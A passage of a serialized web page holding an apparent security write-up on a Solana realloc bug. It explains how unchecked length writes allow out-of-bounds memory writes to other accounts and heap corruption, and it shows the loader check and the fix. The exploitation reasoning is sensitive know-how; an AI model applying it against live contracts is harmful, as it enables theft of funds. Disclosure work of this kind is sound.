",{"type":24,"tag":101,"props":17592,"children":17595},{"href":17593,"rel":17594},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[105],[17596],{"type":24,"tag":154,"props":17597,"children":17599},{"className":17598},[],[17600],{"type":29,"value":2203},{"type":29,"value":8106},{"type":24,"tag":101,"props":17603,"children":17606},{"href":17604,"rel":17605},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[105],[17607],{"type":29,"value":17608},"and",{"type":29,"value":8106},{"type":24,"tag":101,"props":17611,"children":17614},{"href":17612,"rel":17613},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[105],[17615],{"type":29,"value":17616},"frie",{"type":24,"tag":101,"props":17618,"children":17621},{"href":17619,"rel":17620},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[105],[17622],{"type":29,"value":17623},"nds",{"type":29,"value":17625},"). So from ",{"type":24,"tag":154,"props":17627,"children":17629},{"className":17628},[],[17630],{"type":29,"value":17631},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":17633}," we get a ",{"type":24,"tag":154,"props":17635,"children":17637},{"className":17636},[],[17638],{"type":29,"value":17639},"*mut &mut [u8]",{"type":29,"value":17641}," - a ",{"type":24,"tag":32,"props":17643,"children":17644},{},[17645],{"type":29,"value":17646},"pointer",{"type":29,"value":17648}," to the ",{"type":24,"tag":32,"props":17650,"children":17651},{},[17652],{"type":29,"value":17653},"slice reference",{"type":29,"value":17655},". From here, we turn the pointer into a ",{"type":24,"tag":154,"props":17657,"children":17659},{"className":17658},[],[17660],{"type":29,"value":17661},"*const u64",{"type":29,"value":17663}," pointer and then offset by 1 ",{"type":24,"tag":154,"props":17665,"children":17667},{"className":17666},[],[17668],{"type":29,"value":4269},{"type":29,"value":17670}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":25,"props":17672,"children":17673},{},[17674,17676,17681,17683,17688,17690,17695,17697,17702,17704,17710],{"type":29,"value":17675},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":101,"props":17677,"children":17679},{"href":17678},"#Towards-safer-unsafe",[17680],{"type":29,"value":17348},{"type":29,"value":17682}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":154,"props":17684,"children":17686},{"className":17685},[],[17687],{"type":29,"value":4269},{"type":29,"value":17689}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":32,"props":17691,"children":17692},{},[17693],{"type":29,"value":17694},"reference",{"type":29,"value":17696}," (the ",{"type":24,"tag":154,"props":17698,"children":17700},{"className":17699},[],[17701],{"type":29,"value":16698},{"type":29,"value":17703},").So, what does ",{"type":24,"tag":154,"props":17705,"children":17707},{"className":17706},[],[17708],{"type":29,"value":17709},"&[T]",{"type":29,"value":17711}," look like in Rust?",{"type":24,"tag":25,"props":17713,"children":17714},{},[17715,17717,17724,17726,17739,17741,17747],{"type":29,"value":17716},"According to ",{"type":24,"tag":101,"props":17718,"children":17721},{"href":17719,"rel":17720},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[105],[17722],{"type":29,"value":17723},"the reference",{"type":29,"value":17725},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":101,"props":17727,"children":17730},{"href":17728,"rel":17729},"https://doc.rust-lang.org/reference/type-layout.html",[105],[17731,17733,17737],{"type":29,"value":17732},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":158,"props":17734,"children":17735},{},[17736],{"type":29,"value":377},{"type":29,"value":17738}," we only document what is guaranteed today\"",{"type":29,"value":17740},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":154,"props":17742,"children":17744},{"className":17743},[],[17745],{"type":29,"value":17746},"rustc",{"type":29,"value":17748},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":147,"props":17750,"children":17753},{"className":17751,"code":17752,"language":2907,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[17754],{"type":24,"tag":154,"props":17755,"children":17756},{"__ignoreMap":7},[17757,17765,17777,17794,17807],{"type":24,"tag":158,"props":17758,"children":17759},{"class":160,"line":161},[17760],{"type":24,"tag":158,"props":17761,"children":17762},{"style":2588},[17763],{"type":29,"value":17764},"// C language\n",{"type":24,"tag":158,"props":17766,"children":17767},{"class":160,"line":213},[17768,17772],{"type":24,"tag":158,"props":17769,"children":17770},{"style":165},[17771],{"type":29,"value":168},{"type":24,"tag":158,"props":17773,"children":17774},{"style":188},[17775],{"type":29,"value":17776}," slice_ref {\n",{"type":24,"tag":158,"props":17778,"children":17779},{"class":160,"line":238},[17780,17785,17789],{"type":24,"tag":158,"props":17781,"children":17782},{"style":165},[17783],{"type":29,"value":17784}," void",{"type":24,"tag":158,"props":17786,"children":17787},{"style":222},[17788],{"type":29,"value":577},{"type":24,"tag":158,"props":17790,"children":17791},{"style":188},[17792],{"type":29,"value":17793}," ptr;\n",{"type":24,"tag":158,"props":17795,"children":17796},{"class":160,"line":259},[17797,17802],{"type":24,"tag":158,"props":17798,"children":17799},{"style":165},[17800],{"type":29,"value":17801}," size_t",{"type":24,"tag":158,"props":17803,"children":17804},{"style":188},[17805],{"type":29,"value":17806}," len;\n",{"type":24,"tag":158,"props":17808,"children":17809},{"class":160,"line":280},[17810],{"type":24,"tag":158,"props":17811,"children":17812},{"style":188},[17813],{"type":29,"value":17814},"};\n",{"type":24,"tag":25,"props":17816,"children":17817},{},[17818],{"type":29,"value":17819},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":1786,"props":17821,"children":17822},{},[17823,17828,17846],{"type":24,"tag":1790,"props":17824,"children":17825},{},[17826],{"type":29,"value":17827},"Slices are laid out in the precise manner described",{"type":24,"tag":1790,"props":17829,"children":17830},{},[17831,17833,17839,17841],{"type":29,"value":17832},"Pointers and ",{"type":24,"tag":154,"props":17834,"children":17836},{"className":17835},[],[17837],{"type":29,"value":17838},"usize",{"type":29,"value":17840}," are the same width as ",{"type":24,"tag":154,"props":17842,"children":17844},{"className":17843},[],[17845],{"type":29,"value":4269},{"type":24,"tag":1790,"props":17847,"children":17848},{},[17849,17851,17856],{"type":29,"value":17850},"The ",{"type":24,"tag":154,"props":17852,"children":17854},{"className":17853},[],[17855],{"type":29,"value":16739},{"type":29,"value":17857}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":25,"props":17859,"children":17860},{},[17861,17863,17868,17870,17876,17878,17883,17885,17891,17893,17898,17900,17910],{"type":29,"value":17862},"Assumption #2 is ",{"type":24,"tag":32,"props":17864,"children":17865},{},[17866],{"type":29,"value":17867},"probably",{"type":29,"value":17869}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":154,"props":17871,"children":17873},{"className":17872},[],[17874],{"type":29,"value":17875},"borrow_mut",{"type":29,"value":17877}," of the ",{"type":24,"tag":154,"props":17879,"children":17881},{"className":17880},[],[17882],{"type":29,"value":16739},{"type":29,"value":17884}," (through ",{"type":24,"tag":154,"props":17886,"children":17888},{"className":17887},[],[17889],{"type":29,"value":17890},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":17892},"), and ",{"type":24,"tag":154,"props":17894,"children":17896},{"className":17895},[],[17897],{"type":29,"value":16739},{"type":29,"value":17899}," is not usable between multiple threads",{"type":24,"tag":16709,"props":17901,"children":17902},{},[17903],{"type":24,"tag":101,"props":17904,"children":17908},{"href":17905,"ariaDescribedBy":17906,"dataFootnoteRef":7,"id":17907},"#user-content-fn-sendsync",[16716],"user-content-fnref-sendsync",[17909],{"type":29,"value":4789},{"type":29,"value":17911},", so we already have exclusive access.",{"type":24,"tag":25,"props":17913,"children":17914},{},[17915,17917,17921],{"type":29,"value":17916},"A few more ",{"type":24,"tag":32,"props":17918,"children":17919},{},[17920],{"type":29,"value":2861},{"type":29,"value":17922}," things of note, that could have gone badly but didn't:",{"type":24,"tag":17924,"props":17925,"children":17926},"ul",{},[17927,17969],{"type":24,"tag":1790,"props":17928,"children":17929},{},[17930,17932,17938,17940,17945,17947,17952,17954,17959,17961,17967],{"type":29,"value":17931},"By reborrowing the pointer (the ",{"type":24,"tag":154,"props":17933,"children":17935},{"className":17934},[],[17936],{"type":29,"value":17937},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":17939},"), we've created a reference with an ",{"type":24,"tag":32,"props":17941,"children":17942},{},[17943],{"type":29,"value":17944},"unbounded lifetime",{"type":29,"value":17946},". Rust is free to infer ",{"type":24,"tag":32,"props":17948,"children":17949},{},[17950],{"type":29,"value":17951},"any",{"type":29,"value":17953}," lifetime for ",{"type":24,"tag":154,"props":17955,"children":17957},{"className":17956},[],[17958],{"type":29,"value":15183},{"type":29,"value":17960}," (including ",{"type":24,"tag":154,"props":17962,"children":17964},{"className":17963},[],[17965],{"type":29,"value":17966},"'static",{"type":29,"value":17968},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":1790,"props":17970,"children":17971},{},[17972,17974,17980,17982,17987,17989,17994,17996,18001,18003,18008,18010,18015,18017,18022,18024,18030,18032,18037,18039,18044,18046,18051,18053,18058,18060,18065],{"type":29,"value":17973},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":154,"props":17975,"children":17977},{"className":17976},[],[17978],{"type":29,"value":17979},"RefMut",{"type":29,"value":17981}," returned from ",{"type":24,"tag":154,"props":17983,"children":17985},{"className":17984},[],[17986],{"type":29,"value":15108},{"type":29,"value":17988},", but the ",{"type":24,"tag":154,"props":17990,"children":17992},{"className":17991},[],[17993],{"type":29,"value":17979},{"type":29,"value":17995}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":154,"props":17997,"children":17999},{"className":17998},[],[18000],{"type":29,"value":15183},{"type":29,"value":18002}," a ",{"type":24,"tag":32,"props":18004,"children":18005},{},[18006],{"type":29,"value":18007},"mutable",{"type":29,"value":18009}," pointer to the ",{"type":24,"tag":154,"props":18011,"children":18013},{"className":18012},[],[18014],{"type":29,"value":16739},{"type":29,"value":18016},"'s data, but the ",{"type":24,"tag":154,"props":18018,"children":18020},{"className":18019},[],[18021],{"type":29,"value":16739},{"type":29,"value":18023}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":154,"props":18025,"children":18027},{"className":18026},[],[18028],{"type":29,"value":18029},"Mutex",{"type":29,"value":18031}," instead of a ",{"type":24,"tag":154,"props":18033,"children":18035},{"className":18034},[],[18036],{"type":29,"value":16739},{"type":29,"value":18038}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":154,"props":18040,"children":18042},{"className":18041},[],[18043],{"type":29,"value":15183},{"type":29,"value":18045}," and writing to it ",{"type":24,"tag":32,"props":18047,"children":18048},{},[18049],{"type":29,"value":18050},"and succeed",{"type":29,"value":18052},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":154,"props":18054,"children":18056},{"className":18055},[],[18057],{"type":29,"value":15183},{"type":29,"value":18059}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":154,"props":18061,"children":18063},{"className":18062},[],[18064],{"type":29,"value":5361},{"type":29,"value":18066}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":25,"props":18068,"children":18069},{},[18070,18072,18077],{"type":29,"value":18071},"Ok, now that we've understood what the code is ",{"type":24,"tag":32,"props":18073,"children":18074},{},[18075],{"type":29,"value":18076},"trying",{"type":29,"value":18078}," to do, let's try to break it, shall we?",{"type":24,"tag":59,"props":18080,"children":18082},{"id":18081},"what-can-go-wrong",[18083],{"type":29,"value":18084},"What can go wrong?",{"type":24,"tag":395,"props":18086,"children":18088},{"id":18087},"contracts",[18089],{"type":29,"value":18090},"Contracts",{"type":24,"tag":25,"props":18092,"children":18093},{},[18094,18096,18101,18103,18108,18110,18115,18117,18122],{"type":29,"value":18095},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":154,"props":18097,"children":18099},{"className":18098},[],[18100],{"type":29,"value":14872},{"type":29,"value":18102},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":154,"props":18104,"children":18106},{"className":18105},[],[18107],{"type":29,"value":14872},{"type":29,"value":18109}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":154,"props":18111,"children":18113},{"className":18112},[],[18114],{"type":29,"value":16528},{"type":29,"value":18116}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":154,"props":18118,"children":18120},{"className":18119},[],[18121],{"type":29,"value":5361},{"type":29,"value":18123}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":25,"props":18125,"children":18126},{},[18127,18129,18136],{"type":29,"value":18128},"There is ",{"type":24,"tag":101,"props":18130,"children":18133},{"href":18131,"rel":18132},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[105],[18134],{"type":29,"value":18135},"a check",{"type":29,"value":18137}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":147,"props":18139,"children":18141},{"className":151,"code":18140,"language":150,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[18142],{"type":24,"tag":154,"props":18143,"children":18144},{"__ignoreMap":7},[18145,18183,18213,18220,18253],{"type":24,"tag":158,"props":18146,"children":18147},{"class":160,"line":161},[18148,18152,18157,18161,18165,18169,18173,18178],{"type":24,"tag":158,"props":18149,"children":18150},{"style":1914},[18151],{"type":29,"value":16815},{"type":24,"tag":158,"props":18153,"children":18154},{"style":177},[18155],{"type":29,"value":18156}," post_len",{"type":24,"tag":158,"props":18158,"children":18159},{"style":222},[18160],{"type":29,"value":347},{"type":24,"tag":158,"props":18162,"children":18163},{"style":496},[18164],{"type":29,"value":15526},{"type":24,"tag":158,"props":18166,"children":18167},{"style":188},[18168],{"type":29,"value":504},{"type":24,"tag":158,"props":18170,"children":18171},{"style":222},[18172],{"type":29,"value":577},{"type":24,"tag":158,"props":18174,"children":18175},{"style":177},[18176],{"type":29,"value":18177},"pre_len",{"type":24,"tag":158,"props":18179,"children":18180},{"style":188},[18181],{"type":29,"value":18182},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":158,"props":18184,"children":18185},{"class":160,"line":213},[18186,18191,18195,18199,18204,18208],{"type":24,"tag":158,"props":18187,"children":18188},{"style":222},[18189],{"type":29,"value":18190}," ||",{"type":24,"tag":158,"props":18192,"children":18193},{"style":177},[18194],{"type":29,"value":18156},{"type":24,"tag":158,"props":18196,"children":18197},{"style":222},[18198],{"type":29,"value":15428},{"type":24,"tag":158,"props":18200,"children":18201},{"style":188},[18202],{"type":29,"value":18203}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":158,"props":18205,"children":18206},{"style":165},[18207],{"type":29,"value":2245},{"type":24,"tag":158,"props":18209,"children":18210},{"style":171},[18211],{"type":29,"value":18212}," usize\n",{"type":24,"tag":158,"props":18214,"children":18215},{"class":160,"line":238},[18216],{"type":24,"tag":158,"props":18217,"children":18218},{"style":188},[18219],{"type":29,"value":1710},{"type":24,"tag":158,"props":18221,"children":18222},{"class":160,"line":259},[18223,18228,18232,18236,18240,18244,18249],{"type":24,"tag":158,"props":18224,"children":18225},{"style":1914},[18226],{"type":29,"value":18227}," return",{"type":24,"tag":158,"props":18229,"children":18230},{"style":171},[18231],{"type":29,"value":16985},{"type":24,"tag":158,"props":18233,"children":18234},{"style":188},[18235],{"type":29,"value":504},{"type":24,"tag":158,"props":18237,"children":18238},{"style":171},[18239],{"type":29,"value":16994},{"type":24,"tag":158,"props":18241,"children":18242},{"style":222},[18243],{"type":29,"value":2146},{"type":24,"tag":158,"props":18245,"children":18246},{"style":171},[18247],{"type":29,"value":18248},"InvalidRealloc",{"type":24,"tag":158,"props":18250,"children":18251},{"style":188},[18252],{"type":29,"value":1071},{"type":24,"tag":158,"props":18254,"children":18255},{"class":160,"line":280},[18256],{"type":24,"tag":158,"props":18257,"children":18258},{"style":188},[18259],{"type":29,"value":307},{"type":24,"tag":25,"props":18261,"children":18262},{},[18263,18265,18270,18272,18277],{"type":29,"value":18264},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":32,"props":18266,"children":18267},{},[18268],{"type":29,"value":18269},"finishes",{"type":29,"value":18271}," execution. ",{"type":24,"tag":32,"props":18273,"children":18274},{},[18275],{"type":29,"value":18276},"During",{"type":29,"value":18278}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":25,"props":18280,"children":18281},{},[18282,18284,18289,18291,18296,18298,18305],{"type":29,"value":18283},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":32,"props":18285,"children":18286},{},[18287],{"type":29,"value":18288},"arbitrary",{"type":29,"value":18290}," memory access through a mistakenly-",{"type":24,"tag":154,"props":18292,"children":18294},{"className":18293},[],[18295],{"type":29,"value":14872},{"type":29,"value":18297},"'d account, this falls in the relm of some ",{"type":24,"tag":101,"props":18299,"children":18302},{"href":18300,"rel":18301},"https://en.wikipedia.org/wiki/Buffer_overflow",[105],[18303],{"type":29,"value":18304},"old-school pwning",{"type":29,"value":18306}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":395,"props":18308,"children":18310},{"id":18309},"not-contracts",[18311],{"type":29,"value":18312},"Not-contracts?",{"type":24,"tag":25,"props":18314,"children":18315},{},[18316,18318,18323,18325,18335,18337,18349,18351,18358,18360,18365,18367,18372,18374,18387,18389,18394,18396,18401],{"type":29,"value":18317},"Remember when we said that all this code makes sense ",{"type":24,"tag":32,"props":18319,"children":18320},{},[18321],{"type":29,"value":18322},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":18324},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":101,"props":18326,"children":18329},{"href":18327,"rel":18328},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[105],[18330],{"type":24,"tag":154,"props":18331,"children":18333},{"className":18332},[],[18334],{"type":29,"value":16173},{"type":29,"value":18336}," are public, and so is its ",{"type":24,"tag":101,"props":18338,"children":18341},{"href":18339,"rel":18340},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[105],[18342,18347],{"type":24,"tag":154,"props":18343,"children":18345},{"className":18344},[],[18346],{"type":29,"value":16357},{"type":29,"value":18348}," method",{"type":29,"value":18350}," (which is ",{"type":24,"tag":101,"props":18352,"children":18355},{"href":18353,"rel":18354},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[105],[18356],{"type":29,"value":18357},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":18359},"). The ",{"type":24,"tag":154,"props":18361,"children":18363},{"className":18362},[],[18364],{"type":29,"value":14872},{"type":29,"value":18366}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":154,"props":18368,"children":18370},{"className":18369},[],[18371],{"type":29,"value":16173},{"type":29,"value":18373}," ourselves - potentially through the ",{"type":24,"tag":101,"props":18375,"children":18378},{"href":18376,"rel":18377},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[105],[18379,18385],{"type":24,"tag":154,"props":18380,"children":18382},{"className":18381},[],[18383],{"type":29,"value":18384},"Account",{"type":29,"value":18386}," trait",{"type":29,"value":18388},", which is hardly documented at all and makes ",{"type":24,"tag":32,"props":18390,"children":18391},{},[18392],{"type":29,"value":18393},"no",{"type":29,"value":18395}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":154,"props":18397,"children":18399},{"className":18398},[],[18400],{"type":29,"value":5361},{"type":29,"value":18402}," buffer.",{"type":24,"tag":25,"props":18404,"children":18405},{},[18406,18408,18419,18421,18427,18429,18435,18437,18450,18452,18457,18459,18464,18466,18471,18473,18478,18480,18485,18487,18492],{"type":29,"value":18407},"One long arm of this is ",{"type":24,"tag":101,"props":18409,"children":18412},{"href":18410,"rel":18411},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[105],[18413],{"type":24,"tag":154,"props":18414,"children":18416},{"className":18415},[],[18417],{"type":29,"value":18418},"solana_sdk::account::Account",{"type":29,"value":18420}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":154,"props":18422,"children":18424},{"className":18423},[],[18425],{"type":29,"value":18426},"Vec\u003Cu8>",{"type":29,"value":18428},", and it implements ",{"type":24,"tag":154,"props":18430,"children":18432},{"className":18431},[],[18433],{"type":29,"value":18434},"solana_program::account_info::Account",{"type":29,"value":18436}," (the trait from earlier) - by ",{"type":24,"tag":101,"props":18438,"children":18441},{"href":18439,"rel":18440},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[105],[18442,18444],{"type":29,"value":18443},"returning a reference to the contents of that ",{"type":24,"tag":154,"props":18445,"children":18447},{"className":18446},[],[18448],{"type":29,"value":18449},"Vec",{"type":29,"value":18451},". So, ",{"type":24,"tag":154,"props":18453,"children":18455},{"className":18454},[],[18456],{"type":29,"value":14872},{"type":29,"value":18458}," writes the size into the 8 bytes right before ",{"type":24,"tag":154,"props":18460,"children":18462},{"className":18461},[],[18463],{"type":29,"value":5361},{"type":29,"value":18465},"; ",{"type":24,"tag":154,"props":18467,"children":18469},{"className":18468},[],[18470],{"type":29,"value":5361},{"type":29,"value":18472}," is the buffer of a ",{"type":24,"tag":154,"props":18474,"children":18476},{"className":18475},[],[18477],{"type":29,"value":18449},{"type":29,"value":18479},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":154,"props":18481,"children":18483},{"className":18482},[],[18484],{"type":29,"value":16173},{"type":29,"value":18486}," out of an SDK ",{"type":24,"tag":154,"props":18488,"children":18490},{"className":18489},[],[18491],{"type":29,"value":18384},{"type":29,"value":18493}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":59,"props":18495,"children":18497},{"id":18496},"remediation",[18498],{"type":29,"value":18499},"Remediation",{"type":24,"tag":25,"props":18501,"children":18502},{},[18503],{"type":29,"value":18504},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":25,"props":18506,"children":18507},{},[18508,18510,18515,18517,18522,18524,18535,18537,18542,18544,18551],{"type":29,"value":18509},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":154,"props":18511,"children":18513},{"className":18512},[],[18514],{"type":29,"value":16173},{"type":29,"value":18516},"... except for the fact that the layout of ",{"type":24,"tag":154,"props":18518,"children":18520},{"className":18519},[],[18521],{"type":29,"value":16173},{"type":29,"value":18523}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":16709,"props":18525,"children":18526},{},[18527],{"type":24,"tag":101,"props":18528,"children":18532},{"href":18529,"ariaDescribedBy":18530,"dataFootnoteRef":7,"id":18531},"#user-content-fn-layout",[16716],"user-content-fnref-layout",[18533],{"type":29,"value":18534},"3",{"type":29,"value":18536}," So, with changing ",{"type":24,"tag":154,"props":18538,"children":18540},{"className":18539},[],[18541],{"type":29,"value":16173},{"type":29,"value":18543}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":101,"props":18545,"children":18548},{"href":18546,"rel":18547},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[105],[18549],{"type":29,"value":18550},"this function",{"type":29,"value":225},{"type":24,"tag":147,"props":18553,"children":18555},{"className":151,"code":18554,"language":150,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[18556],{"type":24,"tag":154,"props":18557,"children":18558},{"__ignoreMap":7},[18559,18567,18575,18583,18591,18598,18606,18614,18662,18727,18793,18814],{"type":24,"tag":158,"props":18560,"children":18561},{"class":160,"line":161},[18562],{"type":24,"tag":158,"props":18563,"children":18564},{"style":2588},[18565],{"type":29,"value":18566},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":158,"props":18568,"children":18569},{"class":160,"line":213},[18570],{"type":24,"tag":158,"props":18571,"children":18572},{"style":2588},[18573],{"type":29,"value":18574},"/// current program invocation.\n",{"type":24,"tag":158,"props":18576,"children":18577},{"class":160,"line":238},[18578],{"type":24,"tag":158,"props":18579,"children":18580},{"style":2588},[18581],{"type":29,"value":18582},"///\n",{"type":24,"tag":158,"props":18584,"children":18585},{"class":160,"line":259},[18586],{"type":24,"tag":158,"props":18587,"children":18588},{"style":2588},[18589],{"type":29,"value":18590},"/// # Safety\n",{"type":24,"tag":158,"props":18592,"children":18593},{"class":160,"line":280},[18594],{"type":24,"tag":158,"props":18595,"children":18596},{"style":2588},[18597],{"type":29,"value":18582},{"type":24,"tag":158,"props":18599,"children":18600},{"class":160,"line":301},[18601],{"type":24,"tag":158,"props":18602,"children":18603},{"style":2588},[18604],{"type":29,"value":18605},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":158,"props":18607,"children":18608},{"class":160,"line":626},[18609],{"type":24,"tag":158,"props":18610,"children":18611},{"style":2588},[18612],{"type":29,"value":18613},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":158,"props":18615,"children":18616},{"class":160,"line":668},[18617,18621,18625,18629,18634,18638,18642,18646,18650,18654,18658],{"type":24,"tag":158,"props":18618,"children":18619},{"style":165},[18620],{"type":29,"value":14924},{"type":24,"tag":158,"props":18622,"children":18623},{"style":165},[18624],{"type":29,"value":15824},{"type":24,"tag":158,"props":18626,"children":18627},{"style":165},[18628],{"type":29,"value":14929},{"type":24,"tag":158,"props":18630,"children":18631},{"style":496},[18632],{"type":29,"value":18633}," original_data_len",{"type":24,"tag":158,"props":18635,"children":18636},{"style":188},[18637],{"type":29,"value":504},{"type":24,"tag":158,"props":18639,"children":18640},{"style":222},[18641],{"type":29,"value":2212},{"type":24,"tag":158,"props":18643,"children":18644},{"style":165},[18645],{"type":29,"value":14947},{"type":24,"tag":158,"props":18647,"children":18648},{"style":188},[18649],{"type":29,"value":723},{"type":24,"tag":158,"props":18651,"children":18652},{"style":222},[18653],{"type":29,"value":14991},{"type":24,"tag":158,"props":18655,"children":18656},{"style":171},[18657],{"type":29,"value":14965},{"type":24,"tag":158,"props":18659,"children":18660},{"style":188},[18661],{"type":29,"value":210},{"type":24,"tag":158,"props":18663,"children":18664},{"class":160,"line":676},[18665,18669,18674,18678,18682,18686,18691,18695,18699,18703,18707,18711,18715,18719,18723],{"type":24,"tag":158,"props":18666,"children":18667},{"style":165},[18668],{"type":29,"value":2710},{"type":24,"tag":158,"props":18670,"children":18671},{"style":177},[18672],{"type":29,"value":18673}," key_ptr",{"type":24,"tag":158,"props":18675,"children":18676},{"style":222},[18677],{"type":29,"value":462},{"type":24,"tag":158,"props":18679,"children":18680},{"style":165},[18681],{"type":29,"value":15031},{"type":24,"tag":158,"props":18683,"children":18684},{"style":222},[18685],{"type":29,"value":347},{"type":24,"tag":158,"props":18687,"children":18688},{"style":188},[18689],{"type":29,"value":18690},"key ",{"type":24,"tag":158,"props":18692,"children":18693},{"style":165},[18694],{"type":29,"value":2245},{"type":24,"tag":158,"props":18696,"children":18697},{"style":222},[18698],{"type":29,"value":615},{"type":24,"tag":158,"props":18700,"children":18701},{"style":165},[18702],{"type":29,"value":443},{"type":24,"tag":158,"props":18704,"children":18705},{"style":177},[18706],{"type":29,"value":4707},{"type":24,"tag":158,"props":18708,"children":18709},{"style":165},[18710],{"type":29,"value":2231},{"type":24,"tag":158,"props":18712,"children":18713},{"style":222},[18714],{"type":29,"value":615},{"type":24,"tag":158,"props":18716,"children":18717},{"style":165},[18718],{"type":29,"value":443},{"type":24,"tag":158,"props":18720,"children":18721},{"style":171},[18722],{"type":29,"value":15868},{"type":24,"tag":158,"props":18724,"children":18725},{"style":188},[18726],{"type":29,"value":473},{"type":24,"tag":158,"props":18728,"children":18729},{"class":160,"line":684},[18730,18734,18739,18743,18747,18751,18755,18759,18763,18768,18772,18776,18780,18784,18789],{"type":24,"tag":158,"props":18731,"children":18732},{"style":165},[18733],{"type":29,"value":2710},{"type":24,"tag":158,"props":18735,"children":18736},{"style":177},[18737],{"type":29,"